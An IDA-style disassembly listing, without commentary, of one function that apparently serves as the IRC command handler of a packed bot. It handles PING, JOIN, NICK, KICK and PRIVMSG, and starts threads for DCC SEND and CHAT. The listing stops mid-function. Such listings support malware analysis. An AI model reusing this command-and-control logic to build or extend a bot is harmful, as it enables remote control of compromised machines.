var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = dword ptr -2650h
var_264C = byte ptr -264Ch
var_25CC = byte ptr -25CCh
var_24CC = byte ptr -24CCh
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = dword ptr -23A8h
var_23A4 = byte ptr -23A4h
var_2324 = byte ptr -2324h
var_22A4 = byte ptr -22A4h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = dword ptr -2214h
var_2210 = byte ptr -2210h
var_2190 = byte ptr -2190h
var_2110 = byte ptr -2110h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = dword ptr -2080h
var_207C = byte ptr -207Ch
var_1FFC = byte ptr -1FFCh
var_1F7C = byte ptr -1F7Ch
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = dword ptr -1EECh
var_1EE8 = byte ptr -1EE8h
var_1DE8 = byte ptr -1DE8h
var_1D68 = dword ptr -1D68h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D4C = dword ptr -1D4Ch
var_1D44 = byte ptr -1D44h
var_1D30 = byte ptr -1D30h
var_1C2C = byte ptr -1C2Ch
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B98 = dword ptr -1B98h
var_1B90 = byte ptr -1B90h
var_1B7C = byte ptr -1B7Ch
var_1A78 = byte ptr -1A78h
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = dword ptr -19E4h
var_19E0 = byte ptr -19E0h
var_1960 = byte ptr -1960h
var_1920 = byte ptr -1920h
var_1820 = dword ptr -1820h
var_181C = dword ptr -181Ch
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = dword ptr -1808h
var_1804 = byte ptr -1804h
var_17CC = byte ptr -17CCh
var_1794 = byte ptr -1794h
var_1778 = byte ptr -1778h
var_1774 = byte ptr -1774h
var_16F4 = byte ptr -16F4h
var_16B4 = byte ptr -16B4h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = dword ptr -1614h
var_1610 = byte ptr -1610h
var_1590 = byte ptr -1590h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = dword ptr -1504h
var_1500 = byte ptr -1500h
var_14F0 = byte ptr -14F0h
var_1470 = byte ptr -1470h
var_13F0 = dword ptr -13F0h
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = dword ptr -13D4h
var_13D0 = byte ptr -13D0h
var_1350 = byte ptr -1350h
var_12D0 = byte ptr -12D0h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1234 = dword ptr -1234h
var_122C = byte ptr -122Ch
var_11AC = byte ptr -11ACh
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1124 = dword ptr -1124h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1114 = dword ptr -1114h
var_110C = dword ptr -110Ch
var_1108 = byte ptr -1108h
var_1088 = byte ptr -1088h
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_1000 = dword ptr -1000h
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = dword ptr -0FE8h
var_FE4 = byte ptr -0FE4h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = dword ptr -0F54h
var_F50 = byte ptr -0F50h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = dword ptr -0EC0h
var_EBC = byte ptr -0EBCh
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = dword ptr -0E30h
var_E2C = byte ptr -0E2Ch
var_DAC = byte ptr -0DACh
var_D9C = byte ptr -0D9Ch
var_D7C = dword ptr -0D7Ch
var_D78 = byte ptr -0D78h
var_CF8 = byte ptr -0CF8h
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = dword ptr -0C54h
var_C50 = byte ptr -0C50h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = dword ptr -0BC4h
var_BC0 = byte ptr -0BC0h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = dword ptr -0B2Ch
var_B28 = byte ptr -0B28h
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = dword ptr -0A94h
var_A90 = byte ptr -0A90h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = dword ptr -9FCh
var_9F8 = byte ptr -9F8h
var_978 = word ptr -978h
var_974 = dword ptr -974h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_964 = dword ptr -964h
var_95C = byte ptr -95Ch
var_8FB = byte ptr -8FBh
var_8FA = byte ptr -8FAh
var_8F8 = byte ptr -8F8h
var_8F7 = byte ptr -8F7h
var_8EE = byte ptr -8EEh
var_8EC = byte ptr -8ECh
var_8EA = byte ptr -8EAh
var_8E9 = byte ptr -8E9h
var_85C = byte ptr -85Ch
var_84C = byte ptr -84Ch
var_7CC = byte ptr -7CCh
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_73C = dword ptr -73Ch
var_730 = dword ptr -730h
var_72C = dword ptr -72Ch
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_718 = dword ptr -718h
var_710 = dword ptr -710h
var_70C = byte ptr -70Ch
var_68C = dword ptr -68Ch
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_67C = dword ptr -67Ch
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_66C = dword ptr -66Ch
var_664 = dword ptr -664h
var_638 = dword ptr -638h
var_634 = word ptr -634h
var_620 = dword ptr -620h
var_61C = byte ptr -61Ch
var_59C = byte ptr -59Ch
var_58C = dword ptr -58Ch
var_588 = dword ptr -588h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_570 = dword ptr -570h
var_56C = byte ptr -56Ch
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C4 = byte ptr -4C4h
var_4B8 = byte ptr -4B8h
var_480 = byte ptr -480h
var_470 = byte ptr -470h
var_3F0 = byte ptr -3F0h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_360 = dword ptr -360h
var_354 = dword ptr -354h
var_350 = dword ptr -350h
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_33C = dword ptr -33Ch
var_334 = byte ptr -334h
var_318 = word ptr -318h
var_316 = word ptr -316h
var_314 = dword ptr -314h
var_308 = byte ptr -308h
var_304 = byte ptr -304h
var_300 = dword ptr -300h
var_2F4 = byte ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2E4 = byte ptr -2E4h
var_2E0 = byte ptr -2E0h
var_2DF = byte ptr -2DFh
var_2DE = byte ptr -2DEh
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = dword ptr -2C4h
var_2C0 = byte ptr -2C0h
var_C0 = byte ptr -0C0h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D84h
call sub_41C2F0
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C0]
push ebx
push eax
mov [ebp+var_A4], 3
mov [ebp+var_10], ebx
mov [ebp+var_A8], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C4], ebx
call sub_41BD60
push 1Bh
lea eax, [ebp+var_334]
push [ebp+arg_10]
push eax
call sub_41BDC0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401F9E
push esi
lea eax, [ebp+var_4484]
push ebx
push eax
call sub_41BD60
dec esi
lea eax, [ebp+var_4484]
push esi
push [ebp+arg_0]
push eax
call sub_41BDC0
lea eax, [ebp+var_4484]
push offset asc_42E0CC ; " :"
push eax
call sub_41C0D0
mov [ebp+var_C], eax
lea eax, [ebp+var_4484]
push esi
push eax
lea eax, [ebp+var_4AEC]
push eax
call sub_41BDC0
mov esi, offset asc_42E0C8 ; " "
lea eax, [ebp+var_4AEC]
push esi
push eax
call sub_41C8C4
xor edi, edi
add esp, 34h
mov [ebp+var_90], eax
inc edi
loc_401C2C: ; CODE XREF: sub_401B66+DAj
push esi
push ebx
call sub_41C8C4
mov [ebp+edi*4+var_90], eax
inc edi
pop ecx
cmp edi, 20h
pop ecx
jl short loc_401C2C
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401F9E
cmp [ebp+var_8C], ebx
jz loc_401F9E
push 100h
lea eax, [ebp+var_95C]
push ebx
push eax
call sub_41BD60
add esp, 0Ch
push 1Fh
pop edx
loc_401C74: ; CODE XREF: sub_401B66+142j
lea ecx, [ebp+edx*4+var_90]
mov eax, [ecx]
cmp eax, ebx
jz short loc_401CA7
cmp byte ptr [eax], 2Dh
jnz short loc_401CAA
cmp [eax+2], bl
jnz short loc_401CAA
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_95C], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401CA7: ; CODE XREF: sub_401B66+119j
dec edx
jns short loc_401C74
loc_401CAA: ; CODE XREF: sub_401B66+11Ej
; sub_401B66+123j
xor edi, edi
inc edi
cmp [ebp+var_8E9], bl
jz short loc_401CB8
mov [ebp+var_8], edi
loc_401CB8: ; CODE XREF: sub_401B66+14Dj
cmp [ebp+var_8EE], bl
jz short loc_401CC6
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401CC6: ; CODE XREF: sub_401B66+158j
cmp byte ptr [esi], 0Ah
jz short loc_401D00
push 7Fh
lea eax, [ebp+var_E2C]
push esi
push eax
call sub_41BDC0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C0]
push eax
call sub_41BDC0
lea eax, [ebp+var_C0]
push offset asc_42E0C4 ; "!"
push eax
call sub_41C8C4
add esp, 20h
loc_401D00: ; CODE XREF: sub_401B66+163j
push esi
push offset aPing ; "PING"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401D51
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_40993C
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401DF5
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40993C
add esp, 10h
jmp loc_401DF5
; ---------------------------------------------------------------------------
loc_401D51: ; CODE XREF: sub_401B66+1A9j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4098F6
push esi
push offset a005 ; "005"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4098F6
push esi
push offset a302 ; "302"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401DBC
push offset a@ ; "@"
push [ebp+var_84]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401DF5
inc eax
push 9Fh
loc_401DAE: ; DATA XREF: .RLPack:004FEE33r
push eax
push [ebp+arg_1C]
call sub_41BDC0
add esp, 0Ch
jmp short loc_401DF5
; ---------------------------------------------------------------------------
loc_401DBC: ; CODE XREF: sub_401B66+22Aj
push esi
push offset a433 ; "433"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401DFC
push ebx
push dword_4CDB0C
push dword_42A098
push [ebp+arg_10]
call sub_40AF23
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40993C
add esp, 1Ch
loc_401DF5: ; CODE XREF: sub_401B66+1CAj
; sub_401B66+1E6j ...
mov eax, edi
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_401DFC: ; CODE XREF: sub_401B66+265j
mov edi, [ebp+arg_18]
lea eax, [ebp+var_E2C]
push eax
push edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401E1C
mov [ebp+var_A8], 1
loc_401E1C: ; CODE XREF: sub_401B66+2AAj
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_401EE6
cmp [edi], bl
jz short loc_401EB1
push 7Fh
lea eax, [ebp+var_E2C]
push edi
push eax
call sub_41BDC0
add esp, 0Ch
cmp [ebp+var_84], ebx
jz short loc_401EB1
push [ebp+var_84]
lea eax, [ebp+var_C0]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401EB1
lea eax, [ebp+var_C0]
mov [edi], bl
push eax
lea eax, [ebp+var_2C0]
push offset unk_42E058
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_40993C
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
add esp, 20h
loc_401EB1: ; CODE XREF: sub_401B66+2D3j
; sub_401B66+2EDj ...
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_401F9E
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401ED9: ; CODE XREF: sub_401B66+587j
; sub_401B66+83Aj ...
push [ebp+arg_4]
call sub_40993C
jmp loc_4042AE
; ---------------------------------------------------------------------------
loc_401EE6: ; CODE XREF: sub_401B66+2CBj
push esi
push offset aNick ; "NICK"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_402006
mov eax, [ebp+var_88]
lea esi, [eax+1]
lea eax, [ebp+var_E2C]
push eax
push edi
mov [ebp+arg_24], esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401F4D
lea eax, [ebp+var_E2C]
push 21h
push eax
call sub_41C780
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F4D
lea eax, [edi+1]
push esi
push eax
mov byte ptr [edi], 3Ah
call sub_41C680
push [ebp+arg_0]
add edi, 2
push edi
call sub_41C690
add esp, 10h
loc_401F4D: ; CODE XREF: sub_401B66+3B2j
; sub_401B66+3C9j
cmp esi, ebx
jz short loc_401F9E
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_401F76
push 0Fh
push esi
push [ebp+arg_10]
call sub_41BDC0
jmp loc_4036C2
; ---------------------------------------------------------------------------
loc_401F76: ; CODE XREF: sub_401B66+3FEj
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F7B: ; CODE XREF: sub_401B66+436j
cmp [edi], bl
jz short loc_401F92
lea eax, [ebp+var_E2C]
push eax
push edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_401FA6
loc_401F92: ; CODE XREF: sub_401B66+417j
inc esi
add edi, 80h
cmp esi, 1
jl short loc_401F7B
loc_401F9E: ; CODE XREF: sub_401B66+5Bj
; sub_401B66+E4j ...
xor eax, eax
inc eax
loc_401FA1: ; CODE XREF: sub_401B66+291j
; sub_401B66+2A08j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401FA6: ; CODE XREF: sub_401B66+42Aj
lea eax, [ebp+var_E2C]
push 21h
push eax
call sub_41C780
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_401F9E
push eax
call sub_41B7B0
push [ebp+arg_24]
mov edi, eax
call sub_41B7B0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_401F9E
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41C056
push ebx
lea eax, [ebp+var_45E8]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409982
add esp, 24h
jmp short loc_401F9E
; ---------------------------------------------------------------------------
loc_402006: ; CODE XREF: sub_401B66+38Fj
push esi
push offset aPart ; "PART"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_402028
push esi
push offset aQuit ; "QUIT"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402053
loc_402028: ; CODE XREF: sub_401B66+4AFj
xor esi, esi
mov [ebp+arg_C], edi
loc_40202D: ; CODE XREF: sub_401B66+4EBj
mov eax, [ebp+arg_C]
cmp [eax], bl
jz short loc_402046
push [ebp+var_90]
push eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_402094
loc_402046: ; CODE XREF: sub_401B66+4CCj
add [ebp+arg_C], 80h
inc esi
cmp esi, 1
jl short loc_40202D
loc_402053: ; CODE XREF: sub_401B66+4C0j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_4020F2
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_402087
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_402087: ; CODE XREF: sub_401B66+516j
push [ebp+var_80]
push offset unk_42E004
jmp loc_4098EA
; ---------------------------------------------------------------------------
loc_402094: ; CODE XREF: sub_401B66+4DEj
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
shl esi, 7
push offset unk_42DFE0
push eax
mov [esi+edi], bl
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C840
add esp, 18h
test eax, eax
jnz loc_401F9E
lea eax, [ebp+var_2C0]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401ED9
; ---------------------------------------------------------------------------
loc_4020F2: ; CODE XREF: sub_401B66+501j
push [ebp+var_8C]
mov edi, offset aPrivmsg ; "PRIVMSG"
push edi
call sub_41C840
pop ecx
mov esi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402146
push [ebp+var_8C]
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz short loc_402146
push [ebp+var_8C]
push offset dword_42DFCC
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40976F
cmp dword_42A088, ebx
jz loc_40976F
loc_402146: ; CODE XREF: sub_401B66+5A6j
; sub_401B66+5B8j
push [ebp+var_8C]
push edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4022B9
push [ebp+var_8C]
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_4022B9
mov eax, [ebp+var_84]
inc [ebp+var_80]
mov [ebp+var_A4], 4
mov [ebp+var_88], eax
loc_40218B: ; CODE XREF: sub_401B66+812j
; sub_401B66+84Ej ...
mov eax, [ebp+var_A4]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_90]
mov eax, [edi]
push eax
push offset dword_42DFC4
mov [ebp+arg_8], eax
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_402555
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_402420
cmp [ebp+var_A8], ebx
jz loc_4023F6
push [ebp+esi+var_88]
mov edi, offset aS_2 ; "%s"
lea eax, [ebp+var_1B7C]
push edi
push eax
call sub_41C056
push [ebp+esi+var_84]
lea eax, [ebp+var_1B90]
push edi
push eax
call sub_41C056
push [ebp+esi+var_80]
call sub_41BF49
mov [ebp+var_19F8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B98], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_1A78]
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
mov [ebp+var_19F0], eax
mov eax, [ebp+var_8]
mov [ebp+var_19EC], eax
lea eax, [ebp+var_1A78]
push eax
lea eax, [ebp+var_1B7C]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42DF88
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 1Ah
push eax
call sub_40AF8D
add esp, 44h
mov [ebp+var_19F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B98]
push ebx
push eax
push offset sub_41673A
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_19F4]
loc_4022A0: ; DATA XREF: sub_4FF770+2Ew
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jz loc_40928E
jmp loc_4023EC
; ---------------------------------------------------------------------------
loc_4022B9: ; CODE XREF: sub_401B66+5F0j
; sub_401B66+606j
push [ebp+var_8C]
push esi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D2
mov [ebp+var_4], 1
loc_4022D2: ; CODE XREF: sub_401B66+763j
cmp [ebp+var_88], ebx
jz loc_401F9E
push offset dword_42DF84
push [ebp+var_88]
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz short loc_4022F9
cmp [ebp+var_4], ebx
loc_4022F7: ; DATA XREF: sub_4FF701w
; sub_4FF701+29r
jz short loc_402305
loc_4022F9: ; CODE XREF: sub_401B66+78Cj
lea eax, [ebp+var_C0]
mov [ebp+var_88], eax
loc_402305: ; CODE XREF: sub_401B66:loc_4022F7j
cmp [ebp+var_84], ebx
jz loc_401F9E
inc [ebp+var_84]
jz short loc_40234F
cmp [ebp+arg_10], ebx
jz short loc_40234F
lea eax, [ebp+var_334]
push eax
call sub_41B7B0
push eax
lea eax, [ebp+var_334]
push [ebp+var_84]
push eax
call sub_41C640
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A4], eax
jmp short loc_402355
; ---------------------------------------------------------------------------
loc_40234F: ; CODE XREF: sub_401B66+7B1j
; sub_401B66+7B6j
mov eax, [ebp+var_A4]
loc_402355: ; CODE XREF: sub_401B66+7E7j
mov edi, eax
shl edi, 2
mov esi, [ebp+edi+var_90]
cmp esi, ebx
jz loc_401F9E
push esi
push offset dword_42DF78
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40218B
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A5
mov eax, dword_4CDB18
mov eax, off_42A174[eax*4]
cmp [eax], bl
jz short loc_4023A5
push eax
push ecx
push offset dword_42DF5C
jmp loc_401ED9
; ---------------------------------------------------------------------------
loc_4023A5: ; CODE XREF: sub_401B66+821j
; sub_401B66+831j
push esi
push offset dword_42DF54
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40218B
mov edi, [ebp+edi+var_8C]
cmp edi, ebx
jz loc_40218B
mov eax, [ebp+var_88]
cmp byte ptr [eax], 23h
jz loc_40218B
push edi
push eax
push offset dword_42DF3C
jmp loc_401ED9
; ---------------------------------------------------------------------------
loc_4023E4: ; CODE XREF: sub_401B66+88Cj
push 32h
call dword_428064 ; Sleep
loc_4023EC: ; CODE XREF: sub_401B66+74Ej
cmp [ebp+var_19E8], ebx
jz short loc_4023E4
jmp short loc_402418
; ---------------------------------------------------------------------------
loc_4023F6: ; CODE XREF: sub_401B66+672j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push [ebp+esi+var_88]
push offset unk_42DEF8
push eax
call sub_41C056
add esp, 10h
loc_402418: ; CODE XREF: sub_401B66+88Ej
; sub_401B66+9C8j ...
xor esi, esi
inc esi
jmp loc_406CBF
; ---------------------------------------------------------------------------
loc_402420: ; CODE XREF: sub_401B66+666j
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40256B
cmp [ebp+var_A8], ebx
jz loc_402544
push 1Bh
call sub_40B1CF
test eax, eax
pop ecx
jnz loc_402533
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA4]
push offset aS_2 ; "%s"
push eax
call sub_41C056
push [ebp+esi+var_80]
call sub_41BF49
mov [ebp+var_290C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AAC], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_298C]
push eax
call sub_41BDC0
mov eax, [ebp+var_4]
mov [ebp+var_2904], eax
mov eax, [ebp+var_8]
mov [ebp+var_2900], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42DECC
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 1Bh
push eax
call sub_40AF8D
add esp, 34h
mov [ebp+var_2908], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AAC]
push ebx
push eax
push offset sub_4161D7
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_2908]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_402526
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42DE94
jmp loc_408338
; ---------------------------------------------------------------------------
loc_40251E: ; CODE XREF: sub_401B66+9C6j
push 32h
call dword_428064 ; Sleep
loc_402526: ; CODE XREF: sub_401B66+9A5j
cmp [ebp+var_28FC], ebx
jz short loc_40251E
jmp loc_402418
; ---------------------------------------------------------------------------
loc_402533: ; CODE XREF: sub_401B66+8EBj
lea eax, [ebp+var_C0]
push eax
push offset unk_42DE64
jmp loc_408338
; ---------------------------------------------------------------------------
loc_402544: ; CODE XREF: sub_401B66+8DBj
lea eax, [ebp+var_C0]
push eax
push offset unk_42DE30
jmp loc_408338
; ---------------------------------------------------------------------------
loc_402555: ; CODE XREF: sub_401B66+64Bj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42A090
mov [edi], ecx
jnz loc_401F9E
loc_40256B: ; CODE XREF: sub_401B66+8CFj
mov edi, [edi]
push edi
push offset a4_0 ; "4"
mov [ebp+arg_8], edi
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409777
push edi
push offset aHi ; "hi"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_409777
cmp [ebp+var_A8], ebx
jnz short loc_4025BC
push [ebp+var_8C]
push offset dword_42DFCC
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40976F
